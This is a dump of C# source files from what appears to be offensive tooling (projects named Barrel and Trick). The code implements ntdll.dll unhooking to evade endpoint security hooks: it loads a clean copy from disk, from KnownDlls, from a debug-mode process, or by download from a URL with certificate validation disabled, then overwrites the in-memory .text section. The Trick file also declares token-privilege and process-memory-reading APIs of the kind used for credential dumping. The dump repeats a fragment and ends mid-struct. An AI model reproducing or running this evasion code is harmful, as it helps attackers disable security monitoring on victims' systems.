473 | // VirtualProtect back to PAGE_EXECUTE_READ
474 | bool vp2_res = VirtualProtect(localNtdllTxt, (uint)localNtdllTxtSize, dwOldProtection, out dwOldProtection);
475 | if (!vp2_res)
476 | {
477 | Console.WriteLine("[-] Error calling VirtualProtect (dwOldProtection)");
478 | Environment.Exit(0);
479 | }
480 | }
481 |
482 |
483 | public unsafe static IntPtr GetNtdllFromFromUrl(string dll_url)
484 | {
485 | Console.WriteLine("[+] Getting payload from url: " + dll_url);
486 | System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
487 | System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls12;
488 | byte[] buf;
489 | using (System.Net.WebClient myWebClient = new System.Net.WebClient())
490 | {
491 | try
492 | {
493 | System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
494 | buf = myWebClient.DownloadData(dll_url);
495 | fixed (byte* p = buf)
496 | {
497 | IntPtr ptr = (IntPtr)p;
498 | return ptr;
499 | }
500 | }
501 | catch (Exception ex)
502 | {
503 | Console.WriteLine(ex.ToString());
504 | Environment.Exit(0);
505 | }
506 | }
507 | return IntPtr.Zero;
508 | }
509 |
510 |
511 | public static void ReplaceLibrary(string option, string wildcard_field)
512 | {
513 | // Clean DLL
514 | IntPtr unhookedNtdllTxt = IntPtr.Zero;
515 | switch (option)
516 | {
517 | // From file in disk
518 | case "disk":
519 | if (wildcard_field == "")
520 | {
521 | wildcard_field = "C:\\Windows\\System32\\ntdll.dll";
522 | }
523 | IntPtr unhookedNtdllHandle = MapNtdllFromDisk(wildcard_field);
524 | unhookedNtdllTxt = unhookedNtdllHandle + offset_mappeddll;
525 | break;
526 |
527 | // From KnownDlls folder
528 | case "knowndlls":
529 | unhookedNtdllHandle = MapNtdllFromKnownDlls();
530 | unhookedNtdllTxt = unhookedNtdllHandle + offset_mappeddll;
531 | break;
532 |
533 | // From a process created in DEBUG mode
534 | case "debugproc":
535 | if (wildcard_field == "")
536 | {
537 | wildcard_field = "c:\\windows\\system32\\calc.exe";
538 | }
539 | unhookedNtdllTxt = GetNtdllFromDebugProc(wildcard_field);
540 | break;
541 |
542 | // From a process created in DEBUG mode
543 | case "download":
544 | if (wildcard_field == "")
545 | {
546 | wildcard_field = "http://127.0.0.1/ntdll.dll";
547 | }
548 | unhookedNtdllHandle = GetNtdllFromFromUrl(wildcard_field);
549 | unhookedNtdllTxt = unhookedNtdllHandle + offset_fromdiskdll;
550 | break;
551 |
552 | // Default: Show usage message
553 | default:
554 | return;
555 | }
556 |
557 | // Local DLL
558 | IntPtr localNtdllHandle = CustomGetModuleHandle("ntdll.dll");
559 | int[] result = GetTextSectionInfo(localNtdllHandle);
560 | int localNtdllTxtBase = result[0];
561 | int localNtdllTxtSize = result[1];
562 | IntPtr localNtdllTxt = localNtdllHandle + localNtdllTxtBase;
563 |
564 | // Replace DLL
565 | Console.WriteLine("[+] Copying " + localNtdllTxtSize + " bytes from 0x" + unhookedNtdllTxt.ToString("X") + " to 0x" + localNtdllTxt.ToString("X"));
566 | ReplaceNtdllTxtSection(unhookedNtdllTxt, localNtdllTxt, localNtdllTxtSize);
567 | }
568 | }
569 | }
570 |
--------------------------------------------------------------------------------
/Barrel/NT.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 | using System.Text;
4 |
5 |
6 | namespace Barrel
7 | {
8 | internal class NT
9 | {
10 | //////////////////// FUNCTIONS ////////////////////
11 | [DllImport("kernel32.dll", SetLastError = true)]
12 | public static extern IntPtr CreateFileA(
13 | string lpFileName,
14 | uint dwDesiredAccess,
15 | uint dwShareMode,
16 | uint lpSecurityAttributes,
17 | uint dwCreationDisposition,
18 | uint dwFlagsAndAttributes,
19 | uint hTemplateFile
20 | );
21 |
22 | [DllImport("kernel32.dll", SetLastError = true)]
23 | public static extern bool VirtualProtect(
24 | IntPtr lpAddress,
25 | uint dwSize,
26 | uint flNewProtect,
27 | out uint lpflOldProtect
28 | );
29 |
30 | [DllImport("Kernel32.dll", SetLastError = true)]
31 | public static extern bool CloseHandle(
32 | IntPtr handle
33 | );
34 |
35 | [DllImport("kernel32.dll", SetLastError = true)]
36 | public static extern IntPtr CreateFileMappingA(
37 | IntPtr hFile,
38 | uint lpFileMappingAttributes,
39 | uint flProtect,
40 | uint dwMaximumSizeHigh,
41 | uint dwMaximumSizeLow,
42 | string lpName
43 | );
44 |
45 | [DllImport("kernel32.dll", SetLastError = true)]
46 | public static extern IntPtr MapViewOfFile(
47 | IntPtr hFileMappingObject,
48 | uint dwDesiredAccess,
49 | uint dwFileOffsetHigh,
50 | uint dwFileOffsetLow,
51 | uint dwNumberOfBytesToMap
52 | );
53 |
54 | [DllImport("ntdll.dll", SetLastError = true)]
55 | public static extern uint NtQueryInformationProcess(
56 | IntPtr processHandle,
57 | int processInformationClass,
58 | IntPtr pbi,
59 | uint processInformationLength,
60 | out uint returnLength
61 | );
62 |
63 | [DllImport("kernel32.dll", SetLastError = true)]
64 | public static extern uint ReadProcessMemory(
65 | IntPtr hProcess,
66 | IntPtr lpBaseAddress,
67 | [Out] byte[] lpBuffer,
68 | int dwSize,
69 | out uint lpNumberOfBytesRead
70 | );
71 |
72 | [DllImport("ntdll.dll", SetLastError = true)]
73 | public static extern uint NtOpenSection(
74 | ref IntPtr FileHandle,
75 | int DesiredAccess,
76 | ref OBJECT_ATTRIBUTES ObjectAttributes
77 | );
78 |
79 |
80 | public static OBJECT_ATTRIBUTES InitializeObjectAttributes(string dll_name, UInt32 Attributes)
81 | {
82 | OBJECT_ATTRIBUTES objectAttributes = new OBJECT_ATTRIBUTES();
83 | objectAttributes.RootDirectory = IntPtr.Zero;
84 | UNICODE_STRING objectName = new UNICODE_STRING();
85 | objectName.Buffer = dll_name;
86 | objectName.Length = (ushort)(dll_name.Length * 2);
87 | objectName.MaximumLength = (ushort)(dll_name.Length * 2 + 2);
88 | objectAttributes.ObjectName = Marshal.AllocHGlobal(Marshal.SizeOf(objectName));
89 | Marshal.StructureToPtr(objectName, objectAttributes.ObjectName, false);
90 | objectAttributes.SecurityDescriptor = IntPtr.Zero;
91 | objectAttributes.SecurityQualityOfService = IntPtr.Zero;
92 | objectAttributes.Attributes = Attributes;
93 | objectAttributes.Length = Convert.ToUInt32(Marshal.SizeOf(objectAttributes));
94 | return objectAttributes;
95 | }
96 |
97 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
98 | public static extern bool CreateProcess(
99 | string lpApplicationName,
100 | string lpCommandLine,
101 | IntPtr lpProcessAttributes,
102 | IntPtr lpThreadAttributes,
103 | bool bInheritHandles,
104 | uint dwCreationFlags,
105 | IntPtr lpEnvironment,
106 | string lpCurrentDirectory,
107 | ref STARTUPINFO lpStartupInfo,
108 | out PROCESS_INFORMATION lpProcessInformation
109 | );
110 |
111 | [DllImport("kernel32.dll")]
112 | public static extern bool DebugActiveProcessStop(
113 | int dwProcessId
114 | );
115 |
116 | [DllImport("kernel32.dll")]
117 | public static extern bool TerminateProcess(
118 | IntPtr hProcess,
119 | uint uExitCode
120 | );
121 |
122 | ///////////////////// STRUCTS /////////////////////
123 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
124 | public struct UNICODE_STRING
125 | {
126 | public ushort Length;
127 | public ushort MaximumLength;
128 | [MarshalAs(UnmanagedType.LPWStr)] public string Buffer;
129 | }
130 |
131 | [StructLayout(LayoutKind.Sequential)]
132 | public struct OBJECT_ATTRIBUTES
133 | {
134 | public uint Length;
135 | public IntPtr RootDirectory;
136 | public IntPtr ObjectName;
137 | public uint Attributes;
138 | public IntPtr SecurityDescriptor;
139 | public IntPtr SecurityQualityOfService;
140 | }
141 |
142 | [StructLayout(LayoutKind.Sequential)]
143 | public struct STARTUPINFO
144 | {
145 | public int cb;
146 | public IntPtr lpReserved;
147 | public IntPtr lpDesktop;
148 | public IntPtr lpTitle;
149 | public int dwX;
150 | public int dwY;
151 | public int dwXSize;
152 | public int dwYSize;
153 | public int dwXCountChars;
154 | public int dwYCountChars;
155 | public int dwFillAttribute;
156 | public int dwFlags;
157 | public short wShowWindow;
158 | public short cbReserved2;
159 | public IntPtr lpReserved2;
160 | public IntPtr hStdInput;
161 | public IntPtr hStdOutput;
162 | public IntPtr hStdError;
163 | }
164 |
165 | [StructLayout(LayoutKind.Sequential)]
166 | public struct PROCESS_INFORMATION
167 | {
168 | public IntPtr hProcess;
169 | public IntPtr hThread;
170 | public int dwProcessId;
171 | public int dwThreadId;
172 | }
173 |
174 | //////////////////// CONSTANTS ////////////////////
175 | public const uint GENERIC_READ = (uint)0x80000000; // https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/262970b7-cd4a-41f4-8c4d-5a27f0092aaa
176 | public const uint FILE_SHARE_READ = 0x00000001;
177 | public const uint OPEN_EXISTING = 3; // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea
178 | public const uint FILE_ATTRIBUTE_NORMAL = (uint)0x00000080; // https://learn.microsoft.com/es-es/windows/win32/fileio/file-attribute-constants
179 | public const uint PAGE_READONLY = 0x02; // https://learn.microsoft.com/es-es/windows/win32/memory/memory-protection-constants
180 | public const uint SEC_IMAGE_NO_EXECUTE = 0x11000000; // https://learn.microsoft.com/es-es/windows/win32/api/winbase/nf-winbase-createfilemappinga
181 | public const uint FILE_MAP_READ = 4; // https://www.codeproject.com/Tips/79069/How-to-use-a-memory-mapped-file-with-Csharp-in-Win
182 | public const uint PAGE_EXECUTE_WRITECOPY = 0x80;
183 | public const uint OBJ_CASE_INSENSITIVE = 0x00000040;
184 | public const int SECTION_MAP_READ = 0x0004; // https://www.codeproject.com/Tips/79069/How-to-use-a-memory-mapped-file-with-Csharp-in-Win
185 | public const uint DEBUG_PROCESS = 0x00000001;
186 | public const int offset_mappeddll = 4096;
187 | public const int offset_fromdiskdll = 0x400;
188 |
189 |
190 | public unsafe static IntPtr CustomGetModuleHandle(String dll_name)
191 | {
192 | uint process_basic_information_size = 48;
193 | int peb_offset = 0x8;
194 | int ldr_offset = 0x18;
195 | int inInitializationOrderModuleList_offset = 0x30;
196 | int flink_dllbase_offset = 0x20;
197 | int flink_buffer_offset = 0x50;
198 |
199 | // Get current process handle
200 | IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle;
201 |
202 | // Create byte array with the size of the PROCESS_BASIC_INFORMATION structure
203 | byte[] pbi_byte_array = new byte[process_basic_information_size];
204 |
205 | // Create a PROCESS_BASIC_INFORMATION structure in the byte array
206 | IntPtr pbi_addr = IntPtr.Zero;
207 | fixed (byte* p = pbi_byte_array)
208 | {
209 | pbi_addr = (IntPtr)p;
210 | NtQueryInformationProcess(hProcess, 0x0, pbi_addr, process_basic_information_size, out _);
211 | }
212 |
213 | // Get PEB Base Address
214 | IntPtr peb_pointer = pbi_addr + peb_offset;
215 | IntPtr pebaddress = Marshal.ReadIntPtr(peb_pointer);
216 |
217 | // Get Ldr
218 | IntPtr ldr_pointer = pebaddress + ldr_offset;
219 | IntPtr ldr_adress = Marshal.ReadIntPtr(ldr_pointer);
220 |
221 | // Get InInitializationOrderModuleList (LIST_ENTRY) inside _PEB_LDR_DATA struct
222 | IntPtr InInitializationOrderModuleList = ldr_adress + inInitializationOrderModuleList_offset;
223 |
224 | IntPtr next_flink = Marshal.ReadIntPtr(InInitializationOrderModuleList);
225 | IntPtr dll_base = (IntPtr)1337;
226 | while (dll_base != IntPtr.Zero)
227 | {
228 | next_flink = next_flink - 0x10;
229 | // Get DLL base address
230 | dll_base = Marshal.ReadIntPtr(next_flink + flink_dllbase_offset);
231 | IntPtr buffer = Marshal.ReadIntPtr(next_flink + flink_buffer_offset);
232 |
233 | // Get DLL name from buffer address
234 | String char_aux = null;
235 | String base_dll_name = "";
236 | while (char_aux != "")
237 | {
238 | char_aux = Marshal.PtrToStringAnsi(buffer);
239 | buffer += 2;
240 | base_dll_name += char_aux;
241 | }
242 | next_flink = Marshal.ReadIntPtr(next_flink + 0x10);
243 |
244 | // Compare with DLL name we are searching
245 | if (dll_name.ToLower() == base_dll_name.ToLower())
246 | {
247 | return dll_base;
248 | }
249 | }
250 |
251 | return IntPtr.Zero;
252 | }
253 |
254 |
255 | // Map ntdl.dll from the file in disk and return view address
256 | public static IntPtr MapNtdllFromDisk(string ntdll_path)
257 | {
258 | IntPtr hFile = CreateFileA(ntdll_path, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
259 |
260 | // CreateFileA
261 | if (hFile == IntPtr.Zero)
262 | {
263 | Console.WriteLine("[-] Error calling CreateFileA");
264 | Environment.Exit(0);
265 | }
266 |
267 | // CreateFileMappingA
268 | IntPtr hSection = CreateFileMappingA(hFile, 0, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, 0, 0, "");
269 | if (hSection == IntPtr.Zero)
270 | {
271 | Console.WriteLine("[-] Error calling CreateFileMappingA");
272 | Environment.Exit(0);
273 | }
274 |
275 | // MapViewOfFile
276 | IntPtr pNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0);
277 | if (pNtdllBuffer == IntPtr.Zero)
278 | {
279 | Console.WriteLine("[-] Error calling MapViewOfFile");
280 | Environment.Exit(0);
281 | }
282 |
283 | // CloseHandle
284 | bool createfile_ch = CloseHandle(hFile);
285 | bool createfilemapping_ch = CloseHandle(hSection);
286 | if (!createfile_ch || !createfilemapping_ch)
287 | {
288 | Console.WriteLine("[-] Error calling CloseHandle");
289 | Environment.Exit(0);
290 | }
291 | return pNtdllBuffer;
292 | }
293 |
294 |
295 | // Map ntdl.dll from the file in KnownDlls folder and return view address
296 | public static IntPtr MapNtdllFromKnownDlls()
297 | {
298 | // Initialize OBJECT_ATTRIBUTES struct
299 | string dll_name = "\\KnownDlls\\ntdll.dll";
300 |
301 | // If 32-bit process the path changes
302 | if (IntPtr.Size == 4)
303 | {
304 | dll_name = "\\KnownDlls32\\ntdll.dll";
305 | }
306 | OBJECT_ATTRIBUTES object_attribute = InitializeObjectAttributes(dll_name, OBJ_CASE_INSENSITIVE);
307 |
308 | // NtOpenSection
309 | IntPtr hSection = IntPtr.Zero;
310 | uint NtStatus = NtOpenSection(ref hSection, SECTION_MAP_READ, ref object_attribute);
311 | if (NtStatus != 0)
312 | {
313 | Console.WriteLine("[-] Error calling NtOpenSection. NTSTATUS: " + NtStatus.ToString("X"));
314 | Environment.Exit(0);
315 | }
316 |
317 | // MapViewOfFile
318 | IntPtr pNtdllBuffer = MapViewOfFile(hSection, SECTION_MAP_READ, 0, 0, 0);
319 | if (pNtdllBuffer == IntPtr.Zero)
320 | {
321 | Console.WriteLine("[-] Error calling MapViewOfFile");
322 | Environment.Exit(0);
323 | }
324 |
325 | // CloseHandle
326 | bool createfilemapping_ch = CloseHandle(hSection);
327 | if (!createfilemapping_ch)
328 | {
329 | Console.WriteLine("[-] Error calling CloseHandle");
330 | Environment.Exit(0);
331 | }
332 |
333 | return pNtdllBuffer;
334 | }
335 |
336 |
337 | public static int[] GetTextSectionInfo(IntPtr ntdl_address)
338 | {
339 | IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle;
340 |
341 | // Check MZ Signature
342 | byte[] data = new byte[2];
343 | IntPtr signature_addr = ntdl_address;
344 | ReadProcessMemory(hProcess, signature_addr, data, data.Length, out _);
345 | string signature_dos_header = System.Text.Encoding.Default.GetString(data);
346 | if (signature_dos_header != "MZ")
347 | {
348 | Console.WriteLine("[-] Incorrect DOS header signature");
349 | Environment.Exit(0);
350 | }
351 |
352 | // e_lfanew in offset 0x3C in _IMAGE_DOS_HEADER structure, its size is 4 bytes
353 | data = new byte[4];
354 | IntPtr e_lfanew_addr = ntdl_address + 0x3C;
355 | ReadProcessMemory(hProcess, e_lfanew_addr, data, 4, out _);
356 | int e_lfanew = BitConverter.ToInt32(data, 0);
357 |
358 | // Check PE Signature
359 | IntPtr image_nt_headers_addr = ntdl_address + e_lfanew;
360 | data = new byte[2];
361 | ReadProcessMemory(hProcess, image_nt_headers_addr, data, data.Length, out _);
362 | string signature_nt_header = System.Text.Encoding.Default.GetString(data);
363 | if (signature_nt_header != "PE")
364 | {
365 | Console.WriteLine("[-] Incorrect NT header signature");
366 | Environment.Exit(0);
367 | }
368 |
369 | // Check Optional Headers Magic field value
370 | IntPtr optional_headers_addr = image_nt_headers_addr + 24; // Marshal.SizeOf(typeof(UInt32)) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) = 24
371 | data = new byte[4];
372 | ReadProcessMemory(hProcess, optional_headers_addr, data, data.Length, out _);
373 | int optional_header_magic = BitConverter.ToInt16(data, 0);
374 | if (optional_header_magic != 0x20B && optional_header_magic != 0x10B)
375 | {
376 | Console.WriteLine("[-] Incorrect Optional Header Magic field value");
377 | Environment.Exit(0);
378 | }
379 |
380 | // SizeOfCode
381 | IntPtr sizeofcode_addr = optional_headers_addr + 4; // Uint16 (2 bytes) + Byte (1 byte) + Byte (1 byte)
382 | data = new byte[4];
383 | ReadProcessMemory(hProcess, sizeofcode_addr, data, data.Length, out _);
384 | int sizeofcode = BitConverter.ToInt32(data, 0);
385 |
386 | // BaseOfCode
387 | IntPtr baseofcode_addr = optional_headers_addr + 20; // Uint16 (2 bytes) + 2 Byte (1 byte) + 4 Uint32 (4 byte) - public UInt16 Magic; public Byte MajorLinkerVersion; public Byte MinorLinkerVersion; public UInt32 SizeOfCode; public UInt32 SizeOfInitializedData; public UInt32 SizeOfUninitializedData; public UInt32 AddressOfEntryPoint; public UInt32 BaseOfCode;
388 | data = new byte[4];
389 | ReadProcessMemory(hProcess, baseofcode_addr, data, data.Length, out _);
390 | int baseofcode = BitConverter.ToInt32(data, 0);
391 |
392 | int[] result = { baseofcode, sizeofcode };
393 | return result;
394 | }
395 |
396 |
397 | // Create debug process, map its ntdl.dll .text section and copy it to a new buffer, return the buffer address
398 | public unsafe static IntPtr GetNtdllFromDebugProc(string process_path)
399 | {
400 | // CreateProcess in DEBUG mode
401 | STARTUPINFO si = new STARTUPINFO();
402 | si.cb = System.Runtime.InteropServices.Marshal.SizeOf(si);
403 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
404 | bool createprocess_res = CreateProcess(process_path, null, IntPtr.Zero, IntPtr.Zero, false, DEBUG_PROCESS, IntPtr.Zero, null, ref si, out pi);
405 | if (!createprocess_res)
406 | {
407 | Console.WriteLine("[-] Error calling CreateProcess");
408 | Environment.Exit(0);
409 | }
410 |
411 | // Ntdll .Text Section Address and Size from local process
412 | IntPtr localNtdllHandle = CustomGetModuleHandle("ntdll.dll");
413 | int[] result = GetTextSectionInfo(localNtdllHandle);
414 | int localNtdllTxtBase = result[0];
415 | int localNtdllTxtSize = result[1];
416 | IntPtr localNtdllTxt = localNtdllHandle + localNtdllTxtBase;
417 |
418 | // ReadProcessMemory to copy the bytes from ntdll.dll in the suspended process into a new buffer (ntdllBuffer)
419 | // debugged_process ntdll_handle = local ntdll_handle --> debugged_process .text section ntdll_handle = local .text section ntdll_handle
420 | byte[] ntdllBuffer = new byte[localNtdllTxtSize];
421 | uint readprocmem_res = ReadProcessMemory(pi.hProcess, localNtdllTxt, ntdllBuffer, ntdllBuffer.Length, out _);
422 | if (readprocmem_res == 0)
423 | {
424 | Console.WriteLine("[-] Error calling ReadProcessMemory");
425 | Environment.Exit(0);
426 | }
427 |
428 | // Get pointer to the buffer containing ntdll.dll
429 | IntPtr pNtdllBuffer = IntPtr.Zero;
430 | fixed (byte* p = ntdllBuffer)
431 | {
432 | pNtdllBuffer = (IntPtr)p;
433 | }
434 |
435 | // Terminate and close handles in debug process
436 | bool debugstop_res = DebugActiveProcessStop(pi.dwProcessId);
437 | bool terminateproc_res = TerminateProcess(pi.hProcess, 0);
438 | if (debugstop_res == false || terminateproc_res == false)
439 | {
440 | Console.WriteLine("[-] Error calling DebugActiveProcessStop or TerminateProcess");
441 | Environment.Exit(0);
442 | }
443 | bool closehandle_proc = CloseHandle(pi.hProcess);
444 | bool closehandle_thread = CloseHandle(pi.hThread);
445 | if (!closehandle_proc || !closehandle_thread)
446 | {
447 | Console.WriteLine("[-] Error calling CloseHandle");
448 | Environment.Exit(0);
449 | }
450 |
451 | return pNtdllBuffer;
452 | }
453 |
454 |
455 | // Overwrite hooked ntdll .text section with a clean version
456 | static void ReplaceNtdllTxtSection(IntPtr unhookedNtdllTxt, IntPtr localNtdllTxt, int localNtdllTxtSize)
457 | {
458 | // VirtualProtect to PAGE_EXECUTE_WRITECOPY
459 | uint dwOldProtection;
460 | bool vp1_res = VirtualProtect(localNtdllTxt, (uint)localNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, out dwOldProtection);
461 | if (!vp1_res)
462 | {
463 | Console.WriteLine("[-] Error calling VirtualProtect (PAGE_EXECUTE_WRITECOPY)");
464 | Environment.Exit(0);
465 | }
466 |
467 | // Copy from one address to the other
468 | unsafe
469 | {
470 | Buffer.MemoryCopy((void*)unhookedNtdllTxt, (void*)localNtdllTxt, localNtdllTxtSize, localNtdllTxtSize);
471 | }
472 |
473 | // VirtualProtect back to PAGE_EXECUTE_READ
474 | bool vp2_res = VirtualProtect(localNtdllTxt, (uint)localNtdllTxtSize, dwOldProtection, out dwOldProtection);
475 | if (!vp2_res)
476 | {
477 | Console.WriteLine("[-] Error calling VirtualProtect (dwOldProtection)");
478 | Environment.Exit(0);
479 | }
480 | }
481 |
482 |
483 | public unsafe static IntPtr GetNtdllFromFromUrl(string dll_url)
484 | {
485 | Console.WriteLine("[+] Getting payload from url: " + dll_url);
486 | System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
487 | System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls12;
488 | byte[] buf;
489 | using (System.Net.WebClient myWebClient = new System.Net.WebClient())
490 | {
491 | try
492 | {
493 | System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
494 | buf = myWebClient.DownloadData(dll_url);
495 | fixed (byte* p = buf)
496 | {
497 | IntPtr ptr = (IntPtr)p;
498 | return ptr;
499 | }
500 | }
501 | catch (Exception ex)
502 | {
503 | Console.WriteLine(ex.ToString());
504 | Environment.Exit(0);
505 | }
506 | }
507 | return IntPtr.Zero;
508 | }
509 |
510 |
511 | public static void ReplaceLibrary(string option, string wildcard_field)
512 | {
513 | // Clean DLL
514 | IntPtr unhookedNtdllTxt = IntPtr.Zero;
515 | switch (option)
516 | {
517 | // From file in disk
518 | case "disk":
519 | if (wildcard_field == "")
520 | {
521 | wildcard_field = "C:\\Windows\\System32\\ntdll.dll";
522 | }
523 | IntPtr unhookedNtdllHandle = MapNtdllFromDisk(wildcard_field);
524 | unhookedNtdllTxt = unhookedNtdllHandle + offset_mappeddll;
525 | break;
526 |
527 | // From KnownDlls folder
528 | case "knowndlls":
529 | unhookedNtdllHandle = MapNtdllFromKnownDlls();
530 | unhookedNtdllTxt = unhookedNtdllHandle + offset_mappeddll;
531 | break;
532 |
533 | // From a process created in DEBUG mode
534 | case "debugproc":
535 | if (wildcard_field == "")
536 | {
537 | wildcard_field = "c:\\windows\\system32\\calc.exe";
538 | }
539 | unhookedNtdllTxt = GetNtdllFromDebugProc(wildcard_field);
540 | break;
541 |
542 | // From a process created in DEBUG mode
543 | case "download":
544 | if (wildcard_field == "")
545 | {
546 | wildcard_field = "http://127.0.0.1/ntdll.dll";
547 | }
548 | unhookedNtdllHandle = GetNtdllFromFromUrl(wildcard_field);
549 | unhookedNtdllTxt = unhookedNtdllHandle + offset_fromdiskdll;
550 | break;
551 |
552 | // Default: Show usage message
553 | default:
554 | return;
555 | }
556 |
557 | // Local DLL
558 | IntPtr localNtdllHandle = CustomGetModuleHandle("ntdll.dll");
559 | int[] result = GetTextSectionInfo(localNtdllHandle);
560 | int localNtdllTxtBase = result[0];
561 | int localNtdllTxtSize = result[1];
562 | IntPtr localNtdllTxt = localNtdllHandle + localNtdllTxtBase;
563 |
564 | // Replace DLL
565 | Console.WriteLine("[+] Copying " + localNtdllTxtSize + " bytes from 0x" + unhookedNtdllTxt.ToString("X") + " to 0x" + localNtdllTxt.ToString("X"));
566 | ReplaceNtdllTxtSection(unhookedNtdllTxt, localNtdllTxt, localNtdllTxtSize);
567 | }
568 | }
569 | }
570 |
--------------------------------------------------------------------------------
/Trick/NT.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 |
5 | namespace Trick
6 | {
7 | internal class NT
8 | {
9 | //////////////////// FUNCTIONS ////////////////////
10 | [DllImport("kernel32.dll", SetLastError = true)]
11 | public static extern IntPtr CreateFileA(
12 | string lpFileName,
13 | uint dwDesiredAccess,
14 | uint dwShareMode,
15 | uint lpSecurityAttributes,
16 | uint dwCreationDisposition,
17 | uint dwFlagsAndAttributes,
18 | uint hTemplateFile
19 | );
20 |
21 | [DllImport("kernel32.dll", SetLastError = true)]
22 | public static extern bool VirtualProtect(
23 | IntPtr lpAddress,
24 | uint dwSize,
25 | uint flNewProtect,
26 | out uint lpflOldProtect
27 | );
28 |
29 | [DllImport("Kernel32.dll", SetLastError = true)]
30 | public static extern bool CloseHandle(
31 | IntPtr handle
32 | );
33 |
34 | [DllImport("kernel32.dll", SetLastError = true)]
35 | public static extern IntPtr CreateFileMappingA(
36 | IntPtr hFile,
37 | uint lpFileMappingAttributes,
38 | uint flProtect,
39 | uint dwMaximumSizeHigh,
40 | uint dwMaximumSizeLow,
41 | string lpName
42 | );
43 |
44 | [DllImport("kernel32.dll", SetLastError = true)]
45 | public static extern IntPtr MapViewOfFile(
46 | IntPtr hFileMappingObject,
47 | uint dwDesiredAccess,
48 | uint dwFileOffsetHigh,
49 | uint dwFileOffsetLow,
50 | uint dwNumberOfBytesToMap
51 | );
52 |
53 | [DllImport("ntdll.dll", SetLastError = true)]
54 | public static extern uint NtQueryInformationProcess(
55 | IntPtr processHandle,
56 | int processInformationClass,
57 | IntPtr pbi,
58 | uint processInformationLength,
59 | out uint returnLength
60 | );
61 |
62 | [DllImport("kernel32.dll", SetLastError = true)]
63 | public static extern uint ReadProcessMemory(
64 | IntPtr hProcess,
65 | IntPtr lpBaseAddress,
66 | [Out] byte[] lpBuffer,
67 | int dwSize,
68 | out uint lpNumberOfBytesRead
69 | );
70 |
71 | [DllImport("ntdll.dll", SetLastError = true)]
72 | public static extern uint NtOpenSection(
73 | ref IntPtr FileHandle,
74 | int DesiredAccess,
75 | ref OBJECT_ATTRIBUTES ObjectAttributes
76 | );
77 |
78 | [DllImport("ntdll.dll", SetLastError = true)]
79 | public static extern uint RtlGetVersion(ref OSVERSIONINFOEX lpVersionInformation);
80 |
81 |
82 | public static OBJECT_ATTRIBUTES InitializeObjectAttributes(string dll_name, UInt32 Attributes)
83 | {
84 | OBJECT_ATTRIBUTES objectAttributes = new OBJECT_ATTRIBUTES();
85 | objectAttributes.RootDirectory = IntPtr.Zero;
86 | UNICODE_STRING objectName = new UNICODE_STRING();
87 | objectName.Buffer = dll_name;
88 | objectName.Length = (ushort)(dll_name.Length * 2);
89 | objectName.MaximumLength = (ushort)(dll_name.Length * 2 + 2);
90 | objectAttributes.ObjectName = Marshal.AllocHGlobal(Marshal.SizeOf(objectName));
91 | Marshal.StructureToPtr(objectName, objectAttributes.ObjectName, false);
92 | objectAttributes.SecurityDescriptor = IntPtr.Zero;
93 | objectAttributes.SecurityQualityOfService = IntPtr.Zero;
94 | objectAttributes.Attributes = Attributes;
95 | objectAttributes.Length = Convert.ToUInt32(Marshal.SizeOf(objectAttributes));
96 | return objectAttributes;
97 | }
98 |
99 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
100 | public static extern bool CreateProcess(
101 | string lpApplicationName,
102 | string lpCommandLine,
103 | IntPtr lpProcessAttributes,
104 | IntPtr lpThreadAttributes,
105 | bool bInheritHandles,
106 | uint dwCreationFlags,
107 | IntPtr lpEnvironment,
108 | string lpCurrentDirectory,
109 | ref STARTUPINFO lpStartupInfo,
110 | out PROCESS_INFORMATION lpProcessInformation
111 | );
112 |
113 | [DllImport("kernel32.dll")]
114 | public static extern bool DebugActiveProcessStop(
115 | int dwProcessId
116 | );
117 |
118 | [DllImport("kernel32.dll")]
119 | public static extern bool TerminateProcess(
120 | IntPtr hProcess,
121 | uint uExitCode
122 | );
123 |
124 | [DllImport("ntdll.dll")] public static extern uint NtOpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, ref IntPtr TokenHandle);
125 |
126 | [DllImport("ntdll.dll")] public static extern uint NtAdjustPrivilegesToken(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
127 |
128 | [DllImport("ntdll.dll")] public static extern uint NtClose(IntPtr hObject);
129 |
130 | [DllImport("ntdll.dll")] public static extern bool NtGetNextProcess(IntPtr handle, int MAX_ALLOWED, int param3, int param4, out IntPtr outHandle);
131 |
132 | [DllImport("ntdll.dll")] public static extern uint NtQueryVirtualMemory(IntPtr hProcess, IntPtr lpAddress, uint MemoryInformationClass, out MEMORY_BASIC_INFORMATION MemoryInformation, uint MemoryInformationLength, out uint ReturnLength);
133 |
134 | [DllImport("ntdll.dll")] public static extern uint NtReadVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
135 |
136 |
137 | ///////////////////// STRUCTS /////////////////////
138 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
139 | public struct UNICODE_STRING
140 | {
141 | public ushort Length;
142 | public ushort MaximumLength;
